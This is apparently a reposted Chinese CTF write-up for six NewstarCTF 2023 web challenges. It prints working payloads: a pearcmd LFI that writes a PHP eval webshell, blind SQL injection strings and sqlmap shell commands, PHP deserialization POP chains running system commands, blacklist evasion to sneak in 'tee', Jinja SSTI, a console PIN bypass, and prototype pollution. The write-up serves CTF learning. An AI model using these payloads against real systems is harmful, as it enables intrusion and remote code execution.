跨境派

跨境派

跨境派,专注跨境行业新闻资讯、跨境电商知识分享!

当前位置:首页 > 卖家故事 > NewstarCTF2023 WEB [WEEK3] 题目及思路

NewstarCTF2023 WEB [WEEK3] 题目及思路

时间:2024-04-14 17:30:20 来源:网络cs 作者:欧阳逸 栏目:卖家故事 阅读:

标签: 思路  题目 
阅读本书更多章节>>>>

目录

1、Include 🍐

 2、medium_sql

3、POP Gadget

4、GenShin

5、R!!!C!!!E!!!

6、OtenkiGirl


1、Include 🍐

提示了LFI to RCE,搜相关资料可知

payoad:

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/a.php

然后使用蚁剑链接

157572bbabc441c3b3a2ee19a6e08c3b.png

 2、medium_sql

因为sqlmap跑不出来显示无参数可注入,所以手工注入,无回显采用了时间注入

当传入的ID的参数为and 1=1时,执行的语句为

原本的语句为:select * from users where id='TMP0929'

试到对关键词大小写不敏感

899c0659-0a5a-4123-adff-e1bb16ed1fc6.node4.buuoj.cn:81/?id=TMP0929' AND 1='1

因为1=1为真,且where语句中id=TMP0929也为真,所以页面返回id=TMP0929相同的结果(即物理那个页面)。当传入ID参数为'  AND 1='2,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果

数据库长度为3

?id=TMP0919' AND if((length(database()))=3,sleEp(5),1)%20 %23

库名ctf

?id=TMP0919' AND if((subsTr(database(),3,1)='f'),sleEp(5),1)%20 %23

只有一个表

?id=TMP0919' AND if((seLect coUnt(*) frOm infOrmAtion_schEma.tAbles whEre tAble_schEma='cTf')=1,sleEp(2),1)%20 %23

表长度为12:

?id=TMP0919' AND if((selEct length((selEct tabLe_nAme from infOrmation_schEma.tAbles wheRe table_schEma='ctf' limit 1,1))=12),sleEp(1),1)%20 %23

表第一个字母为h:

?id=TMP11503' AND if((selEct ascIi(sUbstr((seLect tablE_name frOm infOrmation_scheMa.tAbles whEre Table_scHema='ctf' limit 1,1),1,1)))=104,sleEp(1),1)%20 %23

我服了时间注入恶心死了,一直尝试下去它也是能出出来的,有感兴趣的自己试,我还是去改装一下sqlmap吧

需要加上--temper level和risk都拉满,得到表名为here_is_flag,列名为flag

sqlmap一开始返回的内容是截断的:

sqlmap -u "http://fdeadc52-ba42-4d2a-9dbd-12b43192b3ab.node4.buuoj.cn:81/?id=1" --data="id=1" --method=POST -D "ctf" -T "here_is_flag" -C "flag" --level=5 --risk=3 --dump

整这死出

5133d694f2244a2987178400d205c98d.png

所以还要加上--sql-shell,进行一个交互(--os-shell应该也行)

sqlmap -u "http://fdeadc52-ba42-4d2a-9dbd-12b43192b3ab.node4.buuoj.cn:81/?id=1" --data="id=1" --method=POST -D "ctf" -T "here_is_flag" -C "flag" --level=5 --risk=3 --dump --sql-shell

在交互那一行不断更改数字,自己拼接flag:

sql-shell> SELECT SUBSTR(flag, 1) FROM here_is_flag;

这个命令使用 SUBSTRING 函数从 flag 列中截取第1个字符及其后的内容,以获取完整的 flag 数据 

5fef4968a8f448bcba46149f969fb715.png

3、POP Gadget

题目代码如下

 <?phpclass Begin{    public $name;    public function __destruct()    {        if(preg_match("/[a-zA-Z0-9]/",$this->name)){            echo "Hello";        }else{            echo "Welcome to NewStarCTF 2023!";        }    }}class Then{    private $func;    public function __toString()    {        ($this->func)();        return "Good Job!";    }}class Handle{    protected $obj;    public function __call($func, $vars)    {        $this->obj->end();    }}class Super{    protected $obj;    public function __invoke()    {        $this->obj->getStr();    }    public function end()    {        die("==GAME OVER==");    }}class CTF{    public $handle;    public function end()    {        unset($this->handle->log);    }}class WhiteGod{    public $func;    public $var;    public function __unset($var)    {        ($this->func)($this->var);        }}@unserialize($_POST['pop']); 

($this->func)($this->var)$this->var 作为参数传递给保存在 $this->func 变量中的函数或方法。 这里我们可以给func传'system',var传'ls /'查根目录,起到一个system()的作用然后读flag文件。

pop链如下:

 <?phpclass Begin{    public $name;    public function __destruct()    {    }}class Then{    private $func;public function __construct()     {         $s=new Super();         $this->func=$s;     }    public function __toString(){        ($this->func)();//这里把Super当函数调用,实际触发了Super()里面的__invoke方法        return "Good Job!";    }}class Handle{    protected $obj;public function __construct()     {         $this->obj=new CTF();//实例化CTF()后给这里的obj赋值     }    public function __call($func, $vars)    {        $this->obj->end();//调用了CTF()里的end()方法    }}class Super{    protected $obj;public function __construct()     {         $this->obj=new Handle();//为protected $obj赋值    }    public function __invoke()    {        $this->obj->getStr();//Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 handle里的__call() 魔术方法    }    public function end()    {        die("==GAME OVER==");    }}class CTF{    public $handle;     public function __construct()     {         $w=new WhiteGod();         $this->handle=$w;     }     public function end()    {        unset($this->handle->log);//在这个end()方法中我们试图用unset()删除WhiteGod()里面的log属性    }}class WhiteGod{    public $func='system';    public $var="cat /flag";    public function __unset($var)    {        ($this->func)($this->var);        }}$b=new Begin();$b->name=new Then();echo urlencode(serialize($b)); 

需要特别注意的是在执行 unset($this->handle->log) 时,会尝试调用 $this->handle 对象的 __unset() 魔术方法。该方法将使用属性 $this->func 的值作为可调用函数,并将属性 $this->var 的值作为参数来执行。

因此,在 WhiteGod 类中调用 unset($this->handle->log) 将实际上执行 ($this->func)($this->var),相当于执行 system('ls /'),即执行系统命令 ls /

整体来说是:

__destruct() 中,由于 $name 包含一个 Then 对象,会触发 __toString() 魔术方法。在 __toString() 方法中,首先调用 $this->func 属性指向的对象(即 Super 对象),接下来进入 Super 类,由于该类含有一个 __invoke() 魔术方法,因此在调用 Super 对象时会触发 __invoke() 方法。在 __invoke() 方法中,又会调用 $this->obj->getStr() 方法,并进入 Handle 类中。

由于 Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 __call() 魔术方法。在 __call() 方法中,将会调用 $this->obj->end() 方法,并触发 CTF 类中的 end() 方法。

CTF 类的 end() 方法中,我们会调用 unset($this->handle->log),从而触发 WhiteGod 类的 __unset() 魔术方法。在 __unset() 方法中,我们构造了一个命令行字符串,然后通过执行漏洞执行了系统命令。

payload:

pop=O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D%7D

4、GenShin

dirsearch扫描出console文件,访问可以进入到登录页面要求输入pin,随便输了123,抓包发现包返回有{"auth": false, "exhausted": false} ,根据英文意思,auth是身份验证,exhausted是耗尽这里应该表示尝试次数是否已经达到上限。当值为 true 时,认证次数已经用尽

爆破密码发现后面返回包是{"auth": false, "exhausted": ture} 。所以我修改返回包为{"auth": ture, "exhausted": false},但是没什么用,然后我改返回包改成{"auth": 1, "exhausted": 0}进入控制台

49a0de9f91fb4058a9b7b268c9af94cd.png

到这里就不会了,以为genshin会是什么关键提示结果这个东西就只是原神,而且一开始方向也错了,后面看了别人wp才知道怎么个事^~^

https://blog.csdn.net/m0_63138919/article/details/133958661?spm=1001.2014.3001.5502

 我们能看见pop /secr3tofpop 猜测这是个文件^~^

进行访问来到一个新页面要求我们传name值,这里就是看出是ssti类的题目了,后面的内容上面的链接和里面的拓展已经解释的很清楚了

payload:

?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%}

5、R!!!C!!!E!!!

题目如下:

 <?phphighlight_file(__FILE__);class minipop{    public $code;    public $qwejaskdjnlka;    public function __toString()    {        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){            exec($this->code);        }        return "alright";    }    public function __destruct()    {        echo $this->qwejaskdjnlka;    }}if(isset($_POST['payload'])){    //wanna try?    unserialize($_POST['payload']);} 

这里最麻烦的地方是最终无论如何都会return alright,而不是命令执行后的结果。

那么我们就可以采用和第一题差不多的思路让结果写入到html目录下的一个文件,然后我们再去访问这个文件逐步得到flag

首先构造pop链:

<?phpclass minipop{    public $code="ls /|te''e /var/www/html/2";    public $qwejaskdjnlka;    public function __toString()    {    }    public function __destruct()    {    }}$a=new minipop();$a->qwejaskdjnlka=$a;echo serialize($a);

exec()执行系统命令ls /查询根目录,te"e /var/www/html/2,双引号绕过preg_match命令照样能执行,tee的作用是把查询到的根目录写入到当前网页下的文件2,我们再次访问文件2即可得到被打印的根目录

8b00a0911493433aa9aec5f3456768dc.png

aff192b495424837995863848583b0f1.png

这里我们就能知道flag在哪个文件,再读取flag写进一个新文件,payload最终如下:

payload=O:7:"minipop":2:{s:4:"code";s:43:"cat /flag_is_h3eeere |te''e /var/www/html/1";s:13:"qwejaskdjnlka";r:1;}

 访问1

21dc2d1401414fbebc435ffc8981b97d.png

6、OtenkiGirl

  js原型链污染可以导致未经授权的修改和访问JavaScript对象的属性和方法。它的发生是由于JS语言中原型继承的特性。在JavaScript中,每个对象都有一个原型(prototype),原型链是一种用于实现继承和属性访问的机制。每个对象都有一个指向其原型的内部链接。当查找对象的属性时,如果该对象本身没有该属性,JavaScript引擎会沿着原型链向上查找,直到找到属性或到达原型链的末端。

接下来解释一下js的继承机制,JavaScript中的原型链继承是一种对象之间共享属性和方法的机制。每个JavaScript对象都有一个指向其原型(prototype)对象的链接,通过这个链接可以实现属性和方法的继承。

当我们访问一个对象的属性或方法时,如果该对象本身没有定义该属性或方法,JavaScript引擎会自动在原型对象中查找。如果原型对象中也不存在,则继续在原型链上的上层原型对象中查找,直到找到该属性或方法或达到原型链的顶端为止。

以下是原型链继承的基本工作原理:

每个JavaScript对象都有一个内部属性 [[Prototype]],它指向该对象的原型对象。当我们创建一个新对象时,JavaScript引擎会自动将该对象的 [[Prototype]] 设置为构造函数的 prototype 属性的值。如果我们访问一个对象的属性或方法,但该对象本身没有定义,JavaScript引擎会沿着原型链向上查找,直到找到该属性或方法或到达原型链的顶端(null)为止。如果找到了属性或方法,它会被返回;如果未找到,则会返回 undefined

举个例子A有苹果雪梨,B有苹果,C有西瓜,ABC是一个原型链,这个原型链的继承机制相当于你找C要苹果雪梨,C没有去看B,B有苹果没有雪梨,在往上找A,A有雪梨,所以虽然C没有苹果雪梨,但是找C要C还是能从AB那里扣出来苹果雪梨给你,如果ABC都没有才是真没有。

  原型链污染是利用了原型链查找的机制来进行恶意修改。攻击者可以通过篡改JavaScript中的原型对象,将恶意代码注入到原型中,当其他对象通过原型链继承了被污染的原型对象时,它们也会受到影响,从而导致意外的行为或数据泄露。

回到这道题目,我们下载zip文件,首先点开app.js:

const env = global.env = (process.env.NODE_ENV || "production").trim();const isEnvDev = global.isEnvDev = env === "development";const devOnly = (fn) => isEnvDev ? (typeof fn === "function" ? fn() : fn) : undefinedconst CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");const PORT = CONFIG.server_port || DEFAULT_CONFIG.server_port;const path = require("path");const Koa = require("koa");const bodyParser = require("koa-bodyparser");const app = new Koa();app.use(require('koa-static')(path.join(__dirname, './static')));devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));app.use(bodyParser({    onerror: function (err, ctx) {        // If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.        if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {            ctx.request.body = {}        } else {            throw err;        }    }}));[    "info",    "submit"].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });app.listen(PORT, () => {    console.info(`Server is running at port ${PORT}...`);})module.exports = app;

1、在第四行const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");这表明引入了两个配置文件;

2、以下代码表明引入了 routes 文件夹下的两个文件:"info" 和 "submit":

[    "info",    "submit"].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });

这里使用了一个循环来遍历字符串数组 ["info", "submit"]。对于数组中的每个元素 p,利用 require 函数将位于 "./routes/" + p 的文件导入。这表示 routes 文件夹下的 info.jssubmit.js 文件会被导入到代码中。然后使用 app.use 方法将导入的路由模块应用到 Koa 应用程序中,分别使用了 p.routes()p.allowedMethods(),表示使用路由模块的路由和允许的请求方法。

3、因此我们追踪到routes文件下的info.js和submit.js

info.js代码:

const Router = require("koa-router");const router = new Router();const SQL = require("./sql");const sql = new SQL("wishes");const CONFIG = require("../config")const DEFAULT_CONFIG = require("../config.default")async function getInfo(timestamp) {    timestamp = typeof timestamp === "number" ? timestamp : Date.now();    // Remove test data from before the movie was released    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();    timestamp = Math.max(timestamp, minTimestamp);    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });    return data;}router.post("/info/:ts?", async (ctx) => {    if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")        return ctx.body = {            status: "error",            msg: "Content-Type must be application/x-www-form-urlencoded"        }    if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0    const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;    if (typeof timestamp !== "number")        return ctx.body = {            status: "error",            msg: "Invalid parameter ts"        }    try {        const data = await getInfo(timestamp).catch(e => { throw e });        ctx.body = {            status: "success",            data: data        }    } catch (e) {        console.error(e);        return ctx.body = {            status: "error",            msg: "Internal Server Error"        }    }})module.exports = router;

我们注意到这段代码let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();,其意思是使用 CONFIG 变量中的 min_public_time 属性(如果存在),否则使用 DEFAULT_CONFIG 变量中的 min_public_time 属性。

4、我们继续追踪config文件和config.default文件,发现CONFIG 变量中没有min_public_time 属性,所以会使用DEFAULT_CONFIG 变量中的 min_public_time 属性。

config.default文件:

module.exports = {    app_name: "OtenkiGirl",    default_lang: "ja",    min_public_time: "2019-07-09",    server_port: 9960,    webpack_dev_port: 9970}

我们这里可以原型链污染污染min_public_time为更早的日期,尝试绕过这个日期限制。

5、查看submit.js文件:

内容很多,这里放关键代码:

const merge = (dst, src) => {    if (typeof dst !== "object" || typeof src !== "object") return dst;    for (let key in src) {        if (key in dst && key in src) {            dst[key] = merge(dst[key], src[key]);        } else {            dst[key] = src[key];        }    }    return dst;}

我们注意到在第7行中,如果key既存在于dst对象中,又存在于src对象中,则会递归调用merge函数将它们合并,否则dst[key]会被赋值为src[key]。这意味着如果src对象的原型链上存在名为'min_public_time'的属性,则该属性将被赋值给dst对象,那么dst[key]将会指向原型链上的值。在JavaScript中,对象可以具有特殊的属性__proto__,它指向对象的原型。通过修改data['__proto__']['min_public_time']的值,我们可以影响原型链上的属性。

6、因此我们提交那个加入购物车抓包,然后改包在post请求体哪里改成:

{"date":"1","place":"1","contact":"11","reason":"11","__proto__": {"min_public_time":" 2018-01-01"}}

2beed6682fc645209fc2dd3d1f23f591.png

然后回到网页把cookie值会话储存都清空,刷新然后点进会话储存,复制wishes的值出来即可看到flag(不过吧,有个小问题就是后面第二次开靶场的时候用了同样的手法不成功,偷了几个别人wp里的payload用也不成功(O.o?))

26eae9d4b7244d43af9c5fcdbc94cfc0.png

如有错误欢迎指出!

阅读本书更多章节>>>>

本文链接:https://www.kjpai.cn/gushi/2024-04-14/158635.html,文章来源:网络cs,作者:欧阳逸,版权归作者所有,如需转载请注明来源和作者,否则将追究法律责任!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。

文章评论